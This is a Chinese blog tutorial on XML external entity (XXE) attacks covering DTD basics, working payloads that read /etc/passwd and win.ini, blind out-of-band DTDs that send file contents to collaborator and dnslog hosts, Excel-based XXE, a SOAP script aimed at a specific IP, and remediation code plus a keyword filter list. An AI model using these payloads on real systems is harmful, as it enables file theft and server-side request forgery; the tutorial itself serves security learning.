xxe漏洞专题

曾经终败给现在 2022-12-29 01:55 363阅读 0赞

攻击原理: 通过xml外部实体,且调用xml解析器读取本地或者远程的数据。
修复方案: 禁用外部实体或者禁止XML拥有自己的DTD–>即文档类代定义模块

XML基础

xml作用:用于标记用户的数据与标记数据类型
定义以及基本结构

在这里插入图片描述
两种声明方法

  1. **内部声明DTD**
  2. <!DOCTYPE 根元素 [元素声明]>
  3. **引用外部DTD**
  4. <!DOCTYPE 根元素 SYSTEM "文件名">
  5. #实例
  6. #内部实体
  7. <?xml version="1.0" encoding="ISO-8859-1"?>
  8. <!DOCTYPE foo [
  9. <!ELEMENT foo ANY >
  10. <!ENTITY xxe "test" >]>
  11. #内部实调用方法
  12. <creds>
  13. <user>&xxe;</user>
  14. <pass>mypass</pass>
  15. </creds>
  16. #外部实体1-->即利用dtd进行引用的即是外部实体
  17. <?xml version="1.0" encoding="ISO-8859-1"?>
  18. <!DOCTYPE foo [
  19. <!ELEMENT foo ANY >
  20. <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>#即利用该dtd属性进行引用
  21. <creds>
  22. <user>&xxe;</user>
  23. <pass>mypass</pass>
  24. </creds>
  25. #外部实体2-->即进行外部引用
  26. <!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
  27. <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
  28. %an-element; %remote-dtd;

两种攻击面的xxe

  1. #文件读取-->有回显的xxe
  2. 结合外部实体声明(实体名称 SYSTEM uri/url“)和参数实体(% 实体名称 SYSTEM uri-外部dtd”)有两种方式进行注入攻击
  3. #文件读取-无回显(Blind OOB XXE)
  4. 连续调用三个参数实体 %remote;%int;%send,其调用顺序如下:
  5. %remote 先调用,调用后请求远程服务器上的 evil.dtd
  6. 类似于将 evil.dtd 包含进来,然后 %int 调用 evil.dtd 中的 %file
  7. %file 就会去获取服务器上面的敏感文件
  8. 然后将 %file 的结果填入到 %send 以后,再调用 %send
  9. 把读取到的数据发送到远程 vps 上,这样就实现了外带

利用命令

文件读取
其他利用姿势–>协议攻击,ssrf攻击,执行系统命令
典型利用方式与总结
深入了解xxe
三种xxe
结合地址的xxe

  1. <!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>#内容更改为自己的burp collaborator地址
  2. <x>&xxe;</x>
  3. #或
  4. <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM 'http://xxx.dnslog.info/oupeng'>%remote;]>

读取文档的xxe

  1. <!DOCTYPE ANY[<!ENTITY xxe SYSTEM "/etc/passwd">]><rpc
  2. method="noteInputCount"><ps><p name="user_code">1</p></ps><vps><p name="DEFAULT_DATA_SOURCE">%26xxe;</p></vps></rpc>

盲注通用payload

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE data [
  3. <!ENTITY % file SYSTEM
  4. "php://filter/read=convert.base64-encode/resource=file:///c://windows/win.ini"><!ENTITY % dtd SYSTEM
  5. "http://0.0.0.0/xxe.xml">%dtd; %all;]>
  6. <value>&send;</value>

vps上的xxe

  1. <!ENTITY % all "<!ENTITY send SYSTEM 'http://xxe.ceye.io/%file;'>">

root类
xxe分为有回显与无回显,无回显的可以利用服务器代返回

  1. <!DOCTYPE root [
  2. <!ENTITY % remote SYSTEM "file:///">
  3. %remote;]>

root类的dns的xxe

  1. <!DOCTYPE root [
  2. <!ENTITY % remote SYSTEM "dnslog">
  3. %remote;]>

在这里插入图片描述

修复方法

1.)使用开发语言提供的禁用外部实体的方法

  1. //php:
  2. libxml_disable_entity_loader(true);
  3. //java:
  4. DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
  5. dbf.setExpandEntityReferences(false);
  6. //Python:
  7. from lxml import etree
  8. xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.)过滤用户提交的xml数据
过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
3.)不允许xml中具有自己定义的DTD(即文档类型定义)

实战利用

1.)利用excel进行xee攻击
原理:excel与所有post-Office 2007文件格式一样,现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
excle构成

  1. _rels:包关系,包含workbook.xml.rels,部分关系项
  2. SharedStrings.xml:共享字符串表部分,用户输入内容
  3. styles.xml:关于fontfillborder等相关样式定义
  4. theme;主题,包含theme1.xml,表示工作表1的主题
  5. workbook.xml:工作薄内容该书
  6. worksheetssheet相关样式,含有sheet1.xml,表明单元格与样式间的关系、内容等。

利用方法–>即给excel的文件添加xml属性内容,上传excel后进行监听即可
利用代码
典型利用burp中的burp collaborator进行盲测攻击
结合burp联合证明方法–>即直接在xml中添加的链接是burp的
直接进行监听的方法
burp collaborator的使用技巧–>典型盲测必备
确认漏洞代码
更改内容即可
在这里插入图片描述
2.)请求中具有xml属性类

在这里插入图片描述
利用脚本代

  1. <?php
  2. $in0=$_GET['name'];
  3. #$in0 = $in0."' and 'a' = 'a";
  4. header("content-type:text/html;charset=utf-8");
  5. try {
  6. $client = new SoapClient('http://180.167.72.216:88//services/MobileService?wsdl');
  7. $xml = " <SOAP-ENV:Envelope xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/' xmlns:soap='http://schemas.xmlsoap.org/wsdl/soap/' xmlns:xsd='http://www.w3.org/1999/XMLSchema' xmlns:xsi='http://www.w3.org/1999/XMLSchema-instance' xmlns:m0='http://tempuri.org/' xmlns:SOAP-ENC='http://schemas.xmlsoap.org/soap/encoding/' xmlns:urn='webservices.services.weaver.com.cn' xmlns:urn2='http://workflow.webservices.mobile.weaver'> <SOAP-ENV:Header/> <SOAP-ENV:Body> <urn:checkUserLogin> <urn:in0>1</urn:in0> <urn:in1>1</urn:in1> <urn:in2>1</urn:in2> </urn:checkUserLogin> </SOAP-ENV:Body> </SOAP-ENV:Envelope> ";
  8. $result=$client->checkUserLogin(array('in0'=>$in0,'in1'=>'123456','in2'=>1));
  9. echo $result->out ;//显示结果
  10. } catch (SOAPFault $e) {
  11. print_r('Exception:'.$e);
  12. }
  13. ?>

或者
在这里插入图片描述
或者soap接口

  1. http://**.**.**.**/webservice/MuiltiExam.asmx?op=DeleteSendedKscj
  2. http://**.**.**.**/webservice/MuiltiExam.asmx?wsdl

在这里插入图片描述

利用docs进行攻击
利用方法与excel的同
xxe实战案例2

工具XXExploiter进行探测攻击
xxexploiter安装与攻击

练习
buuctf中的一题xee ctf

实战5篇经典xxe

  1. 1. 微信支付Java SDK XXE漏洞实战浅析
  2. http://www.nxadmin.com/web/1686.html
  3. 2. Exploiting XXE with Excel
  4. https://www.4armed.com/blog/exploiting-xxe-with-excel/
  5. 3. XXE to 域控(基于资源的约束委派)
  6. https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/#4-xxe-to-%E5%9F%9F%E6%8E%A7
  7. 4. Exploiting XXE for SSRF
  8. https://gupta-bless.medium.com/exploiting-xxe-for-ssrf-c23892374c0c
  9. 5. From blind XXE to root-level file read access(强烈推荐)
  10. https://honoki.net/2018/12/12/from-blind-xxe-to-root-level-file-read-access/

发表评论

表情:
评论列表 (有 0 条评论,363人围观)

还没有评论,来说两句吧...

相关阅读

    相关 XXE漏洞学习

    0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。X

    相关 xxe漏洞专题

    攻击原理: 通过xml外部实体,且调用xml解析器读取本地或者远程的数据。 修复方案: 禁用外部实体或者禁止XML拥有自己的DTD–>即文档类代定义模块 XML基础

    相关 微信支付XXE漏洞修复

    1.场景还原    近日,微信发来警告通知,告知平台微信支付可能存在XXE(外部实体注入漏洞),笔者根据微信官方技术文档及时修复了该漏洞,分享出来希望能够对大伙有所帮助